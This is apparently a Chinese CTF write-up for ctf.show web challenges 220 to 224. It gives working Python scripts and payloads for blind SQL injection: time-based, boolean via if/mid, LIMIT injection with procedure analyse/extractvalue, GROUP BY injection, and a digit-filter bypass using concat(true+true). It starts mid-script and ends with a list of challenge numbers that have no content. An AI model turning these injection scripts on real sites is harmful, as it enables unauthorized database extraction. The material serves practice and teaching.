"id,flagno_0123456789bcehjkmpqrstuvwxyz" def web220 (): url = "http://8f817a4c-a121-4798-8e3c-35669806ab66.challenge.ctf.show/" payload1 = "select(table_name)from(information_schema.tables)where(table_schema=database()) limit {},1" payload2 = "select(column_name)from(information_schema.columns)where(table_name='ctfshow_flagxcac') limit {},1" payload3 = "select(flagaabcc)from(ctfshow_flagxcac) limit {},1" print (url) """ payload if(left((select(xxx)from(yyyy0)limit {3},1),{1})='{2}',?,1) 切割的办法: 假设:a=ctfshow_flagxca left(a,1) = c left(a,2) = ct left(a,3) = ctf 3 点位,列点位1个,行点位2个 该修改爆破的框架了 """ timeOutFunction = "(SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c)" GetData6(url,flag='' ,start=1 ,payload="if(left((" + payload3 + "),{})={}," +timeOutFunction+",1)" ,flagStrDict=flagStrDict2,timeout=1.7 ) web220()
web221-limit注入 原始信息 查询语句
$sql = select * from ctfshow_user limit ($page -1 )*$limit ,$limit ;
返回逻辑
解题 难怪说很安全,本地测试limit都直接报错,不安全都不行啊……
具体参照:大牛的博客
/ api/ ?limit= 1 procedure analyse(extractvalue(rand(),concat(0x3a ,database(),0x3a )),1 )& page= 1
web222-group by 原始信息 查询语句
$sql = select * from ctfshow_user group by $username ;
返回逻辑
解题 group by基本上没过滤什么,能使用if+布尔注入直接绕过。
import requests,timedef getDate (url,payload,strDict,start=1 ,end=50 ,flag='' ): headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36" , "Content-Type" : "application/x-www-form-urlencoded" } for i in range (start,end): temp = flag importNumbers = 4 for j in strDict: p = payload.format (i, j) t = time.time() r = requests.get(url + p, headers=headers) tEnd = time.time() - t text = r.text.encode('gbk' ).decode('unicode_escape' ) print (f'time:{tEnd:.3 f} \tpayload is:{p} ' ) if len (text) <=91 and bool (text): flag += j print (bool (text),flag) break if flag == temp: print (f'flag is : {flag} ' ) break return flag if __name__ == "__main__" : flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_" flagStrDict3 = "id,flagah,infoctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict4 = "id,flagno_0123456789bcehjkmpqrstuvwxyz" def web222 (): url = "http://1941d958-1f41-4146-aa5f-dc8a17137650.challenge.ctf.show" url = url[:-1 ] if url[-1 ] == '/' else url payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())" payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flaga')" payload3 = "select flagaabc from ctfshow_flaga" getDate(url,payload="/api/?u=if(mid((" +payload3+"),{},1)='{}',1,username)" ,strDict=flagStrDict2) web222()
web223 原始信息 查询语句
$sql = select * from ctfshow_user group by $username ;
返回逻辑
解题 具体来讲,过滤了数字,和纯加号,绕过的办法之前遇到过,是:concat(true%2btrue)=>concat(true+true)=>2
。
下面是实现的脚本:
import requests,timedef miniTransition (strs ): try : publicStr = 'concat(' + ('' .join('true%2b' for i in range (int (strs))))[:-3 ] + ')' except Exception as e: publicStr = f"'{strs} '" return publicStr def miniTransition2 (strs ): publicStr = '' try : if int (strs) or int (strs) == 0 : publicStr = 'char(concat(' + ('' .join('true%2b' for i in range (ord (strs))))[:-3 ] + '))' else : publicStr = f"'{strs} '" except Exception as e: publicStr = f"'{strs} '" return publicStr def getDate2 (url,payload,strDict,start=1 ,end=50 ,flag='' ): headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36" , "Content-Type" : "application/x-www-form-urlencoded" } for i in range (start,end): temp = flag importNumbers = 4 for j in strDict: p = payload.format (miniTransition(i), miniTransition2(j)) t = time.time() r = requests.get(url + p, headers=headers) tEnd = time.time() - t text = r.text.encode('gbk' ).decode('unicode_escape' ) print (f'[{tEnd:.3 f} ] payload: {p} ' ) if len (text) <=91 and bool (text) and '失败' not in text: flag += j print (bool (text),flag) break if flag == temp: print (f'flag is : {flag} ' ) break return flag if __name__ == "__main__" : flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_" flagStrDict3 = "id,flagah,infoctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict4 = "id,flagno_0123456789bcehjkmpqrstuvwxyz" def web223 (): url = "http://16c8a3fc-a335-4d7c-bbf9-b6f4345c0b8c.challenge.ctf.show" """ if((payload),true,username) """ payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())" payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagas')" payload3 = "select(flagasabc)from(ctfshow_flagas)" getDate2(url,payload="/api/?u=if(mid((" +payload3+"),{},true)={},true,username)" ,strDict=flagStrDict2,start=9 ,flag='ctfshow{' ) web223()
web224 原始信息 登录窗口一个,需要自己去找重置密码的窗口才能登录,登录后有一个文件上传的接口文件上传的时候限制的很死,得用特殊的方法写入。
解题 web225 web226 web227 web228 web229 web230 web231 web232 web233 web234 web235 web236 web237 web238 web239 web240 web241 web242 web243 web244 web245 web246 web247 web248 web249 web250 web251 web252 web253 web254 web255 web256 web257 web258 web259